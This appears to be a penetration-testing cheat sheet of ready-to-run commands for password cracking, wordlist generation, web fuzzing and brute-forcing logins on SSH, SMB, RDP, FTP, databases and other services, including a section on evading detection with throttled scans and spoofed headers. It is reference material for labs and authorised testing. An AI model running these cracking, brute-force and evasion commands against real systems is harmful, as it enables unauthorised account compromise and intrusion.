06Tools
Cracking / Fuzzing / Brute-force
00 Create Wordlists
00.1 Crunch
bash16 lines
## ------------------| Usage## crunch will display a wordlist that starts at a and ends at zzzzzzzzcrunch 8 8 -t @,%^### Specifies a pattern, eg: @@god@@@@ where the only the @'s, ,'s, %'s, and ^'s will change.### @ --> lower case characters### , --> upper case characters### % --> numbers### ^ --> symbols
## crunch will display a wordlist using the character set abcdefg that starts at a and ends at ggggggcrunch 1 6 abcdefg
## ------------------| Best Usagescrunch 4 6 0123456789ABCDEF -o crunch1.txtcrunch 4 4 -f /usr/share/crunch/charset.lst mixalphacrunch 1 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt00.2 CeWL
bash14 lines
cewl --with-numbers -d 7 -m 5 -w cewl.out http(s)://IP/anything/
# -d : Depth to spider to, default 2.# -m : Minimum word length, default 3.# -w : Write the output to the file.# -c : Show the count for each word found.# -o : Let the spider visit other sites.# --with-numbers: Accept words with numbers in as well as just letters# --header : In format name:value - can pass multiple.# --lowercase : Lowercase all parsed words# --auth_user : Authentication username.# --auth_pass : Authentication password.# --proxy_host: Proxy host.# --proxy_port: Proxy port, default 8080.00.3 UserNameGen
bash5 lines
wget https://raw.githubusercontent.com/h4rithd/UserNameGen/master/usernamegen.pypip install argparse textwrap3 tqdm
python usernamegen.py -o output.txt -u "Harith Dilshan"python usernamegen.py -o output.txt -f usernames.txt00.4 Username-Anarchy
bash8 lines
## ------------------| Genarate quick username list for single userruby username-anarchy h4rithd dilshan
## ------------------| List username format pluginsruby username-anarchy –list-formats
## ------------------| Genarate username list from fileruby username-anarchy -input-file names.txt –select-format first,first.last,f.last,flast > newlist.txt01 Cracking Basic
01.1 Hashcat Basic
- Click here! to view example hashes (for to select mode -m)
bash1 line
hashcat --example-hashes | grep -B1 -A2 "NTLM"- Common flags
bash28 lines
-a Attack-mode--force Ignore warnings--status Enable automatic update of the status screen--status-json Enable JSON format for status output--session Define specific session name--restore Restore session from --session--outfile Define outfile for recovered hash
- [ Attack Modes ] - # | Mode ===+====== 0 | Straight 1 | Combination 3 | Brute-force 6 | Hybrid Wordlist + Mask 7 | Hybrid Mask + Wordlist
- [ Built-in charsets ] - # | Mask Attack ====+====== ?l | abcdefghijklmnopqrstuvwxyz ?u | ABCDEFGHIJKLMNOPQRSTUVWXYZ ?d | 0123456789 ?h | 0123456789abcdef ?H | 0123456789ABCDEF ?s | «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ ?a | ?l?u?d?s ?b | 0x00 - 0xff- Cracking
bash6 lines
## ------------------| Without ruleshashcat hashfile -m <mode> /usr/share/wordlists/rockyou.txt
## ------------------| With ruleshashcat hashfile -m <mode> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rulehashcat hashfile -m <mode> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule- HashCat Rules
bash/usr/share/hashcat/rules/InsidePro-PasswordsPro.rule29 lines
hashcat --force passwords.list -r /usr/share/hashcat/rules/best64.rule --stdout > passwords.txt
# /usr/share/hashcat/rules/T0XlC-insert_space_and_special_0_F.rule# /usr/share/hashcat/rules/T0XlC-insert_top_100_passwords_1_G.rule# /usr/share/hashcat/rules/toggles1.rule# /usr/share/hashcat/rules/specific.rule# /usr/share/hashcat/rules/leetspeak.rule# /usr/share/hashcat/rules/toggles2.rule# /usr/share/hashcat/rules/toggles3.rule# /usr/share/hashcat/rules/InsidePro-HashManager.rule# /usr/share/hashcat/rules/T0XlC-insert_00-99_1950-2050_toprules_0_F.rule# /usr/share/hashcat/rules/generated.rule# /usr/share/hashcat/rules/T0XlC.rule# /usr/share/hashcat/rules/oscommerce.rule# /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule# /usr/share/hashcat/rules/T0XlCv1.rule# /usr/share/hashcat/rules/best64.rule# /usr/share/hashcat/rules/dive.rule# /usr/share/hashcat/rules/d3ad0ne.rule# /usr/share/hashcat/rules/toggles5.rule# /usr/share/hashcat/rules/combinator.rule# /usr/share/hashcat/rules/toggles4.rule# /usr/share/hashcat/rules/Incisive-leetspeak.rule# /usr/share/hashcat/rules/unix-ninja-leetspeak.rule# /usr/share/hashcat/rules/generated2.rule# /usr/share/hashcat/rules/rockyou-30000.rule
## OneRuleToRuleThemAllwget https://raw.githubusercontent.com/NotSoSecure/password_cracking_rules/master/OneRuleToRuleThemAll.rule- Create Rules and Variants
bash5 lines
## ------------------| Create file which has word or wordlistecho -e "PleaseSubscribe\!" >> hashes
## ------------------| Create new wordlisthashcat --stdout hashes -r /usr/share/hashcat/rules/best64.rule > pw-listCheat Sheets
01.2 JohnTheRipper Basic
- Cracking
bash1 line
john hashfile -w=/usr/share/wordlists/rockyou.txt- John Mutation
bash4 lines
sudo vi /etc/john/john.conf
john --wordlist=words.txt --rules --stdout > new_wordlist.txtjohn --wordlist=words.txt --rules=all --stdout > new_wordlist.txt01.3 SSH
bash2 lines
python3.8 /usr/share/john/ssh2john.py id_rsa > id_rsa.johnjohn id_rsa.john -w=/usr/share/wordlists/rockyou.txt01.4 ZIP
bash13 lines
## ------------------| For Zipsudo apt-get install fcrackzipfcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip## or you can use following command with johntheripperzip2john file.zip > hashjohn hash
## ------------------| For 7zsudo apt-get install libcompress-raw-lzma-perl/usr/share/john/7z2john.pl backup.7z > backup.johnjohn backup.john -w=/usr/share/wordlists/rockyou.txt## or you can use following command.cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z01.5 PDF
bash7 lines
## ------------------| Using pdfcrackapt-get install pdfcrackpdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
## ------------------| Using qpdfsudo apt-get install qpdfqpdf --password=<PASS> --decrypt encrypted.pdf plaintext.pdf01.6 JWT
bash13 lines
## ------------------| Using hashcathashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
## ------------------| Using jwtcrackpip install PyJWT tqdmgit clone https://github.com/Sjord/jwtcrack.git && cd jwtcrack### Crack using jwtcrackcrackjwt.py <JWT_TOKEN> /usr/share/wordlists/rockyou.txt### Convert a JWT to a format John the Ripper can understand.jwt2john.py <JWT_TOKEN>
## ------------------| Using JohnTheRipperjohn jwt_token.txt -w=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA25601.7 VNC
bash1 line
echo -n <PassWordHash> | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv01.8 WiFi
bash2 lines
## ------------------| AirCrack-ngaircrack-ng captured.cap -w /usr/share/wordlists/rockyou.txt01.9 LUKS
bash19 lines
# ------------------| Using Hashcat### Get count valuecryptsetup luksDump backup.img | grep Payload### Create luks header hashfiledd if=backup.img of=hash bs=512 count=4097### Crackinghashcat -m 14600 hash /usr/share/wordlists/rockyou.txt
# ------------------| Using JohnTheRipperluks2john.py /dev/sdb1 > sdb1.johnjohn sdb.john -w=/usr/share/wordlists/rockyou.txt
# ------------------| How to mount/unmount### Mountsudo cryptsetup luksOpen backup.img backupsudo mount /dev/mapper/backup /mnt/### Unmountsudo umount -l /mnt/sudo cryptsetup luksClose backup01.10 SUDO
bash13 lines
# ------------------| Clone the sucrack programe and build itgit clone https://github.com/hemp3l/sucrack.gitcd sucrackautoreconf -f -i./configuremakemake installcd srcls -al sucrack
## ------------------| Cracking process./sucrack -a -w 20 -s 10 -u root -r dict.txt./sucrack -a -w 20 -s 10 -u root -rx dict.tx01.11 Microsoft Office
bash9 lines
## ------------------| Hashcatwget https://raw.githubusercontent.com/stricture/hashstack-server-plugin-oclhashcat/master/scrapers/office2hashcat.pypython2 office2hashcat.py file.xls [doc,dot,docm,xlm,ppt] > hash.txthashcat hash.txt /usr/share/wordlists/rockyou.txt
## ------------------| JohnTheRipperwget https://raw.githubusercontent.com/openwall/john/bleeding-jumbo/run/office2john.pypython2 office2john.py file.xls [doc,dot,docm,xlm,ppt] > john-hash.txtjohn john-hash.txt -w=/usr/share/wordlists/rockyou.txt01.12 Group Policy Preferences
bash1 line
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ01.13 PFX certificate
bash2 lines
/usr/share/john/pfx2john.py file.pfx > file.pfx.johnjohn file.pfx.john -w=/usr/share/wordlists/rockyou.txt01.14 KeePass
bash12 lines
## ------------------| JohnTheRipperkeepass2john Database.kdbx > hash.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
## ------------------| Hashcatkeepass2john Database.kdbx | awk -F\: '{print $2}' > hash.txthashcat -m 13400 hash.txt /usr/share/wordlists/rockyou.txt
## ------------------| View the passwordskpcli --kdb Database.kdbxfind .show /file/path/key -f01.15 Ansible
bash10 lines
## ------------------| JohnTheRipperhttps://fossies.org/linux/john/run/ansible2john.pyansible2john file > hash
## ------------------| hashcatansible2john file > hashhashcat -m 16900 hash /usr/share/wordlists/rockyou.txt --user
## ------------------| Decryptedcat file | ansible-vault decrypt01.16 Gitea
bash3 lines
wget https://gist.githubusercontent.com/h4rithd/0c5da36a0274904cafb84871cf14e271/raw/f109d178edbe756f15060244d735181278c9b57e/gitea2hashcat.pypython3 gitea2hashcat.py gitea.db > hashes.txthashcat hashes.txt /usr/share/wordlists/rockyou.txt01.17 PBKDF2
bash3 lines
## ------------------| PBKDF2:SHA256wget https://gist.githubusercontent.com/h4rithd/184a49164d6528069437db7d8623b1f8/raw/d7eb4e5c2af7deefee2da5835f2aa44d06be996a/pbkdf2_sha256_hash_cracker.pypython3 pbkdf2_sha256_hash_cracker.py -f hashes.txt -w /usr/share/wordlists/rockyou.txt03 Fuzzing Basic
bash6 lines
## ------------------| Extention listphp,html,txtphp,html,txt,bak,tar,zipphp,html,txt,bak,tar,zip,aspx,aspphp,html,txt,bak,tar,zip,aspx,asp,jsp,jsphp,html,txt,bak,tar,zip,aspx,asp,jsp,js,htm,exe03.1 ffuf
bash38 lines
## ------------------| General options-H Header "Name: Value", separated by colon. Multiple -H flags are accepted.-X HTTP method to use-b Cookie data "NAME1=VALUE1; NAME2=VALUE2" for copy as curl functionality.-d POST data-c Colorize output. (default: false)-r Follow redirects (default: false)-u Target URL-v Verbose output, printing full URL-e Comma separated list of extensions. (.php,.txt,.html)-x Proxy URL (SOCKS5 or HTTP). For example: http://127.0.0.1:8080 or socks5://127.0.0.1:8080-ic Ignore wordlist comments (default: false)-sni Target TLS SNI, does not support FUZZ keyword-rate Rate of requests per second (default: 0)-request File containing the raw http request (Like burp request)-request-proto Protocol to use along with raw request (default: http-timeout HTTP request timeout in seconds. (default: 10)-ignore-body Do not fetch the response content. (default: false)-recursion Scan recursively. Only FUZZ keyword is supported, and URL (-u) has to end in it. (default: false)-recursion-depth Maximum recursion depth. (default: 0)-recursion-strategy Recursion strategy: "default" for a redirect based, and "greedy" to recurse on all matches (default: default)-replay-proxy Replay matched requests using this proxy.
## ------------------| Filter options-fc Filter HTTP status codes from response. Comma separated list of codes and ranges-fl Filter by amount of lines in response. Comma separated list of line counts and ranges-fr Filter regexp or keyword-fs Filter HTTP response size. Comma separated list of sizes and ranges-ft Filter by number of milliseconds to the first response byte, either greater or less than. EG: >100 or <100-fw Filter by amount of words in response. Comma separated list of word counts and ranges
## ------------------| Matcher options-mc Match HTTP status codes, or "all" for everything. (default: 200,204,301,302,307,401,403,405)-ml Match amount of lines in response-mr Match regexp-ms Match HTTP response size-mt Match how many milliseconds to the first response byte, either greater or less than. EG: >100 or <100-mw Match amount of words in response- Stealth Mode
bash10 lines
## ------------------| Throttle Requestsffuf -c -ic -t 1 -p 2 -u https://h4rithd.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txtffuf -c -ic -t 1 -p 5-10 -u https://h4rithd.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt### -t 1 → single thread (low profile)### -p 2 → delay of 2 seconds between requests
## ------------------| Randomize User-Agent & Headerswget https://gist.githubusercontent.com/pzb/b4b6f57144aea7827ae4/raw/cf847b76a142955b1410c8bcef3aabe221a63db1/user-agents.txtffuf -c -ic -t 1 -p 2 -H "User-Agent: $(shuf -n 1 user-agents.txt)" -u https://h4rithd.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txtffuf -c -ic -t 1 -p 2 -H "Referer: https://h4rithd.com" -H "X-Forwarded-For: 192.168.1.10" -u https://h4rithd.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt- Best Usage
bash11 lines
## ------------------| Directory Fuzzffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u https://h4rithd.com/FUZZ | tee ffuf.out
## ------------------| With Extensionsffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u https://h4rithd.com/FUZZ -e .php,.txt,.html | tee ffuf.out
## ------------------| Fuzz with numbersffuf -c -ic -w <(seq 0 2000) -u https://example.org/FUZZ | tee ffuf.out
## ------------------| Subdomain Fuzzffuf -w hosts.txt -u https://example.org/ -H "Host: FUZZ" -mc 200- Multi-wordlist Operation Mode
bash14 lines
## ------------------| Cluster Bomb (Default)### Tests all combinations of payloads across multiple parameters### user1:pass1, user1:pass2, user2:pass1, user2:pass2ffuf -c -ic -mode clusterbomb -w user.txt:user -w password.txt:pass -u https://example.org/user/pass
## ------------------| Pitchfork### Matches corresponding payloads to multiple parameters in parallel.### user1:pass1, user2:pass2ffuf -c -ic -mode pitchfork -w user.txt:user -w password.txt:pass -u https://example.org/user/pass
## ------------------| Sniper### Tests one parameter at a time with single payloads### payload1:default, payload2:defaultffuf -c -ic -mode sniper -w user.txt -u https://example.org/FUZZ/FUZZ- Fuzz with POST data
bash8 lines
## ------------------| application/jsonffuf -w entries.txt -u https://example.org/ -X POST -H "Content-Type: application/json" -d '{"name": "FUZZ", "anotherkey": "anothervalue"}' -fr "error"
## ------------------| application/x-www-form-urlencodedffuf -w entries.txt -u https://example.org/ -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "name=admin\&password=FUZZ" -fr "error"
## ------------------| From burp fileffuf -w entries.txt -request-proto http -request getUsers.req -fr "error"03.2 wfuzz
bash49 lines
## ------------------| Genaral Options-u url : Specify a URL for the request.-w wordlist : Specify a wordlist file (alias for -z file,wordlist).-V alltype : All parameters bruteforcing (allvars and allpost). No need for FUZZ keyword.-X method : Specify an HTTP method for the request, ie. HEAD or FUZZ-e <type> : List of available encoders/payloads/iterators/printers/scripts-c : Output with colors-v : Verbose information.-b cookie : Specify a cookie for the requests. Repeat option for various cookies.-d postdata : Use post data (ex: "id=FUZZ&catalogue=1")-H header : Use header (ex:"Cookie:id=1312321&user=FUZZ"). Repeat option for various headers.--basic/ntlm/digest auth : in format "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"-f filename,printer : Store results in the output file using the specified printer (raw printer if omitted).-o printer : Show results using the specified printer.-t N : Specify the number of concurrent connections (10 default)-s N : Specify time delay between requests (0 default)-R depth : Recursive path discovery being depth the maximum recursion level.-D depth : Maximum link depth level.-L,--follow : Follow HTTP redirections-Z : Scan mode (Connection errors will be ignored).--req-delay N : Sets the maximum time in seconds the request is allowed to take (CURLOPT_TIMEOUT). Default 90.--conn-delay N : Sets the maximum time in seconds the connection phase to the server to take (CURLOPT_CONNECTTIMEOUT). Default 90.
## ------------------| Scripts-A, --AA, --AAA : Alias for -v -c and --script=default,verbose,discover respectively--no-cache : Disable plugins cache. Every request will be scanned.--script= : Equivalent to --script=default--script=<plugins> : Runs script's scan. <plugins> is a comma separated list of plugin-files or plugin-categories--script-help=<plugins> : Show help about scripts.--script-args n1=v1,... : Provide arguments to scripts. ie. --script-args grep.regex="<A href=\"(.*?)\">"
## ------------------| Payloads-m iterator : Specify an iterator for combining payloads (product by default)-z payload : Specify a payload for each FUZZ keyword used in the form of name[,parameter][,encoder]. A list of encoders can be used, ie. md5-sha1. Encoders can be chained, ie. md5@sha1. Encoders category can be used. ie. url Use help as a payload to show payload plugin's details (you can filter using --slice)--zP <params> : Arguments for the specified payload (it must be preceded by -z or -w).--zD <default> : Default parameter for the specified payload (it must be preceded by -z or -w).--zE <encoder> : Encoder for the specified payload (it must be preceded by -z or -w).--slice <filter> : Filter payload's elements using the specified expression. It must be preceded by -z.
## ------------------| Filter options--filter-help : Filter language specification--hc/hl/hw/hh N[,N]+ : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)--sc/sl/sw/sh N[,N]+ : Show responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)--ss/hs regex : Show/hide responses with the specified regex within the content--filter <filter> : Show/hide responses using the specified filter expression (Use BBB for taking values from baseline)--prefilter <filter> : Filter items before fuzzing using the specified expression. Repeat for concatenating filters.- Find valid usernames | POST data
bash1 line
wfuzz -c -w /usr/share/seclists/Usernames/Names/names.txt -d "username=FUZZ&password=test123" --hs "No account found with that username" http://10.10.10.97/login.php | tee usernames.txt- Other commands
bash11 lines
## ------------------| Range scriptwfuzz -c -z range,1-65535 http:127.0.0.1:FUZZ
## ------------------| Fuzz with two parameterswfuzz -c -m zip -z range,1-65535 -w wordlist.txt http:127.0.0.1:FUZZ/FUZ2Z
## ------------------| With encoders### List avilable encoderswfuzz -e encoders### User url encoderwfuzz -w /wordlist.txt,uri_hex03.3 Gobuster
text27 lines
## ------------------| Genaral Options-z, --no-progress Don't display progress-o, --output string Output file to write results to (defaults to stdout)-q, --quiet Don't print the banner and other noise-t, --threads int Number of concurrent threads (default 10) --delay duration Time each thread waits between requests (e.g. 1500ms)-v, --verbose Verbose output (errors)-w, --wordlist string Path to the wordlist
-f, --add-slash Append / to each request-c, --cookies string Cookies to use for the requests-e, --expanded Expanded mode, print full URLs-x, --extensions string File extension(s) to search for-r, --follow-redirect Follow redirects-H, --headers stringArray Specify HTTP headers, -H 'Header1: val1' -H 'Header2: val2'-k, --no-tls-validation Skip TLS certificate verification-n, --no-status Don't print status codes-p, --password string Password for Basic Auth-P, --proxy string Proxy to use for requests [http(s)://host:port][socks5://127.0.0.1:1080]-s, --status-codes string Positive status codes (will be overwritten with status-codes-blacklist if set) (default "200,204,301,302,307,401,403")-b, --status-codes-blacklist string Negative status codes (will override status-codes if set) --timeout duration HTTP Timeout (default 10s)-u, --url string The target URL-a, --useragent string Set the User-Agent string (default "gobuster/3.1.0")-U, --username string Username for Basic Auth-d, --discover-backup Upon finding a file search for backup files --wildcard Force continued operation when wildcard found- Best Usage
bash1 line
gobuster dir -e -f -t 20 -k -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -x php,html,txt -o gobuster.out -u https://mysite.com/- DNS mode
bash1 line
gobuster dns -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -o gobuster-dns.out -d google.com- VHOST Mode
bash1 line
gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -o gobuster-vhost.out -u https://mysite.com- Search backup files
bash1 line
gobuster dir -e -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -d -o gobuster-backups.out -u https://mysite.com/- Fuzzing Mode
text1 line
gobuster fuzz -u https://example.com?FUZZ=test -w parameter-names.txt03.4 DirSearch
bash34 lines
## ------------------| Genaral Options-u Target URL-e Extension list separated by commas (Example: php,asp)-X Exclude extension list separated by commas (Example: asp,jsp)-f Add extensions to every wordlist entry. By default dirsearch only replaces the %EXT% keyword with extensions-t Number of threads-r Brute-force recursively-i Include status codes, separated by commas, support ranges (Example: 200,300-399)-x Exclude status codes, separated by commas, support ranges (Example: 301,500-599)-q Quiet mode-m HTTP method (default: GET)-d HTTP request data-H HTTP request header, support multiple flags (Example: -H 'Referer: example.com')-F Follow HTTP redirects-s Delay between requests
-o Output file--format Report format (Available: simple, plain, json, xml,md, csv, html)
--proxy Proxy URL, support HTTP and SOCKS proxies (Example: localhost:8080, socks5://localhost:8088)--timeout Connection timeout--cookie Choose a cookie for each request--user-agent Choose a User-Agent for each request--random-agent Choose a random User-Agent for each request--full-url Full URLs in the output (enabled automatically in quiet mode)--no-color No colored output--exclude-sizes Exclude responses by sizes, separated by commas (Example: 123B,4KB)--exclude-texts Exclude responses by texts, separated by commas (Example: 'Not found', 'Error')
-U Uppercase wordlist-L Lowercase wordlist-C Capital wordlist
--raw=FILE Load raw HTTP request from file (use `--scheme` flag to set the scheme)- Best Usage
bash1 line
dirsearch -r -f -o `pwd`/dirsearch.out --format=plain -x 404 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e php,html,txt -u http://example.org/- When using HTB
bash2 lines
url=http://nineveh.htb/departmentdirsearch -f -o `pwd`/$(echo $url | cut -d '/' -f 3).out --format=plain -x 404 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -u $url -e php03.5 feroxbuster
bash41 lines
## ------------------| Genaral Options-u The target URL-a Sets the User-Agent (default: feroxbuster/2.7.0)-A Use a random User-Agent-f Append / to each request's URL-H Specify HTTP headers to be used in each request (ex: -H Header:val -H 'stuff: things')-m Which HTTP request method(s) should be sent (default: GET)-Q Request's URL query parameters (ex: -Q token=stuff -Q secret=key)-x File extension(s) to search for (ex: -x php -x pdf js)-k Disables TLS certificate validation in the client-r Allow client to follow redirects-T Number of seconds before a client's request times out (default: 7)--data Request's Body; can read data from a file if input starts with an @ (ex: @post.bin)-b, --cookies Specify HTTP cookies to be used in each request (ex: -b stuff=things)--resume-from State file from which to resume a partially complete scan--burp Set --proxy to http://127.0.0.1:8080 and set --insecure to true--burp-replay Set --replay-proxy to http://127.0.0.1:8080 and set --insecure to true--smart Set --extract-links, --auto-tune, --collect-words, and --collect-backups to true--thorough Use the same settings as --smart and set --collect-extensions to true--force-recursion Force recursion attempts on all 'found' endpoints (still respects recursion depth)
## ------------------| Response filters-C Filter out status codes (deny list) (ex: -C 200 -C 401)-N Filter out messages of a particular line count (ex: -N 20 -N 31,30)-s Status Codes to include (allow list) (default: 200 204 301 302 307 308 401 403 405)-S Filter out messages of a particular size (ex: -S 5120 -S 4927,1970)-W Filter out messages of a particular word count (ex: -W 312 -W 91,82)-X Filter out messages via regular expression matching on the response's body (ex: -X '^ignore me$')
## ------------------| Dynamic collection settings-B Automatically request likely backup extensions for "found" urls-E Automatically discover extensions and add them to --extensions (unless they're in --dont-collect)-g Automatically discover important words from within responses and add them to the wordlist-I File extension(s) to Ignore while collecting extensions (only used with --collect-extensions)
## ------------------| Output settings--no-state Disable state output file (*.state)--silent Only print URLs + turn off logging (good for piping a list of urls to other commands)-o Output file to write results to (use w/ --json for JSON entries)-q Hide progress bars and banner (good for tmux windows w/ notifications)-v Increase verbosity level (use -vv or more for greater effect. [CAUTION] 4 -v's is probably too much)- Best Usage
bash1 line
feroxbuster -k -f -A -u <URL>03.6 Arjun
bash8 lines
## ------------------| Setupapt-get install arjunpip3 install arjun
## ------------------| Usagearjun -u https://api.example.com/endpointarjun -u https://api.example.com/endpoint -m POSTarjun -u https://api.example.com/endpoint -m JSON --include='{"root":{"a":"b",$arjun$}}'04 Brute-force Basic
04.1 HTTP
- Common useful flags
bash21 lines
hydra -u -f -t 10 -w 30 -L users.txt -P pass.txt 192.168.1.69 http-post-form "/login.php:user=^USER^&pass=^PASS^:Bad login" -o hydra-http-post-attack.txt
# Host : 192.168.1.69 # Method : http-form-post / https-post-form / http-get-form / http-get(for basic-auth) # URI : /login.php # Form parameters : user=^USER^&pass=^PASS^ # Failure response : Bad login # -L : users.txt # -l : username # -P : pass.txt # -t : Threads # -w : Wait for timeout # -S : Perform an SSL connect [https] # -s : If the service is on a different default port # -o : Output file # -f : exit when a login/pass pair is found # -R : Restore a previous aborted/crashed session # -I : Ignore an existing restore file # -u : Loop around users, not passwords (effective! implied with -x
## If you want proxy export HYDRA_PROXY_HTTP=http://127.0.0.1:8080- https-post-form
bash1 line
hydra -S -u -f -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.75 http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^:Incorrect username or password"- http-get (basic auth) / Tomcat
bash1 line
hydra -u -f -l admin -P /usr/share/seclists/Passwords/darkweb2017-top10000.txt 10.10.10.157 http-get "/monitoring"- With headers
bash6 lines
hydra 192.168.1.69 http-post-form "/foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H=X-Foo: Foo" \-L users.txt -P pass.txt -t 10 -w 1 -o hydra-http-post-attack.txt # in this case we specify that the cookie should be page/cookie # cookies can be specified with C= # and we also added an header with H= # this header is called X-Foo and has as value Foo04.2 SSH
bash14 lines
## ------------------| Using Hydrahydra -v -V -u -f -L users.txt -p "Password!" -t 2 -u <IP> sshhydra -v -V -u -f -l root -P /usr/share/wordlists/rockyou.txt -t 2 -u <IP> sshhydra -v -V -u -f -L users.txt -P /usr/share/wordlists/rockyou.txt -t 2 -u <IP> ssh
## -v Verbose mode## -L User List## -P Password List## -V How login+pass for each attempt## -u Loop around users, not passwords (effective! implied with -x)## -o Write found login/password pairs to FILE instead of stdout## -t Run TASKS number of connects in parallel per target (default: 16)## -f / -F Exit when a login/pass pair is found (-M: -f per host, -F global)## -fr Regexbash9 lines
## ------------------| Using NCrackncrack -v -p 22 --user root -P /usr/share/wordlists/rockyou.txt <IP> -T5
## ------------------| Using Patatorpatator ssh_login host=<IP> port=22022 user=sunny password=FILE0 0=/usr/share/wordlists/rockyou.txt persistent=0patator ssh_login -x ignore:fgrep='failed' host=<IP> port=22022 user=sunny password=FILE0 0=/usr/share/wordlists/rockyou.txt persistent=0
## ------------------| Using Medusamedusa -h <IP> -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt -M ssh <IP>04.3 SMB
bash9 lines
## ------------------| Using Nmapnmap --script smb-brute -p 445 <IP>
## ------------------| Using CrackMapExeccrackmapexec smb <IP> -u users.txt -p /usr/share/wordlists/rockyou.txt --continue-on-successcrackmapexec smb <IP> -u Hazard -p /usr/share/wordlists/rockyou.txt --shares
## ------------------| Using Hydrahydra -u -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt <IP> smb04.4 RDP
bash10 lines
## ------------------| Using Hydrahydra -t 1 -V -f -u -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10hydra -V -f -u -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt rdp://<IP>
## ------------------| Using NCrackncrack -vv --user <USER> -P /usr/share/wordlists/rockyou.txt rdp://<IP>
## ------------------| Using Crowbarcrowbar -b rdp -s <IP>/CIDR -u <USER> -C /usr/share/wordlists/rockyou.txtcrowbar -b rdp -s <IP>/CIDR -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -C /usr/share/wordlists/rockyou.txt04.5 LDAP
bash8 lines
## ------------------| Nmap (Basic)nmap --script ldap-brute -p 389 <IP>
## ------------------| Using Hydrahydra -V -f -u -L users.txt -P /usr/share/wordlists/rockyou.txt <IP> ldap2
## ------------------| Using CackMapExeccrackmapexec ldap <IP> -u /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p /usr/share/wordlists/rockyou.txt04.6 FTP
bash8 lines
## ------------------| Using Hydrahydra -u -f -l root -P /usr/share/wordlists/rockyou.txt [-t 32] <IP> ftp
## ------------------| Using Ncrackncrack -p 21 --user root -P /usr/share/wordlists/rockyou.txt <IP> [-T 5]
## ------------------| Using Medusamedusa -u root -P /usr/share/wordlists/rockyou.txt -h <IP> -M ftp04.7 SNMP
bash11 lines
## ------------------| Using Nmapnmap -sU --script snmp-brute <IP> [--script-args snmp-brute.communitiesdb=<wordlist> ]
## ------------------| Using Hydrahydra -u -f -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <IP snmp
## ------------------| Using MSFuse auxiliary/scanner/snmp/snmp_login
## ------------------| Using onesixtyoneonesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp_onesixtyone.txt <IP>04.8 SMTP
bash3 lines
hydra -u -f -V -l <USER> -P /usr/share/wordlists/rockyou.txt <IP> smtp### If you need ssl: use Shydra -u -f -S -v -V -l <USER> -P /usr/share/wordlists/rockyou.txt -s 587 <IP>04.9 WinRM
bash2 lines
## ------------------| Using CackMapExeccrackmapexec winrm <IP> -d <Domain Name> -u /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p /usr/share/wordlists/rockyou.txt04.10 MySQL
bash3 lines
## ------------------| Using Hydrahydra -u -f -l root –P /usr/share/wordlists/rockyou.txt -s 3306 <IP> mysqlhydra -u -f -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt –P /usr/share/wordlists/rockyou.txt -s <PORT> <IP> mysql04.11 MSSQL
bash13 lines
## ------------------| Using Hydrahydra -u -f -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt –P /usr/share/wordlists/rockyou.txt <IP> mssql
## ------------------| Using Medusamedusa -h <IP> –U /usr/share/seclists/Usernames/top-usernames-shortlist.txt –P /usr/share/wordlists/rockyou.txt –M mssql
## ------------------| Using Nmap### Use the NetBIOS name of the machine as domainnmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=/usr/share/seclists/Usernames/top-usernames-shortlist.txt,passdb=/usr/share/wordlists/rockyou.txt,ms-sql-brute.brute-windows-accounts <IP>
## ------------------| Using Metasploit## If you have a domain set it and use USE_WINDOWS_ATHENTuse auxiliary/scanner/mssql/mssql_login04.12 MongoDB
bash5 lines
## ------------------| Using Nmapnmap -sV --script mongodb-brute -n -p 27017 <IP>
## ------------------| Using Metasploituse auxiliary/scanner/mongodb/mongodb_login04.13 OracleSQL
bash20 lines
